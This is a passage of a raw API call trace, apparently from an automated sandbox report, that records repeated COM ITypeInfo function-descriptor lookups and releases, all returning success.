ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x51, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x52, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x53, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x54, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x55, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x56, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x57, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x58, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x59, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5a, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5b, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5c, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5d, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5e, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.945] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.945] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x5f, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x60, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x61, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x62, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x63, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x64, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x65, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x66, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x67, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x68, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x69, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6a, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6b, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6c, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6d, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6e, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x6f, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x70, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x71, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x72, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x73, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x74, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x75, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x76, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.946] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.946] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x77, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x78, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x79, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7a, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7b, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7c, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7d, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7e, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x7f, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x80, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x81, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x82, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x83, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x84, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x85, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x86, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x87, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x88, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x89, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8a, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8b, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8c, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8d, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8e, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x8f, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x90, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x91, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x92, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.947] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x93, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.947] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x94, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x95, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x96, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x97, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x98, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x99, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9a, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9b, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9c, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9d, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9e, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0x9f, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa0, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa1, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa2, ppFuncDesc=0x266ff8, pDummy=0x460 | out: ppFuncDesc=0x266ff8, pDummy=0x460) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa3, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa4, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa5, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa6, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa7, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa8, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xa9, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaa, ppFuncDesc=0x266ff8, pDummy=0x460 | out: ppFuncDesc=0x266ff8, pDummy=0x460) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xab, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xac, ppFuncDesc=0x266ff8, pDummy=0x460 | out: ppFuncDesc=0x266ff8, pDummy=0x460) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xad, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xae, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.948] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xaf, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.948] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb0, ppFuncDesc=0x266ff8, pDummy=0x460 | out: ppFuncDesc=0x266ff8, pDummy=0x460) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb1, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb2, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb3, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb4, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] ITypeInfo:RemoteGetFuncDesc (in: This=0x8087de0, index=0xb5, ppFuncDesc=0x266ff8, pDummy=0x100 | out: ppFuncDesc=0x266ff8, pDummy=0x100) returned 0x0 [0036.949] ITypeInfo:LocalReleaseFuncDesc (This=0x8087de0) returned 0x0 [0036.949] 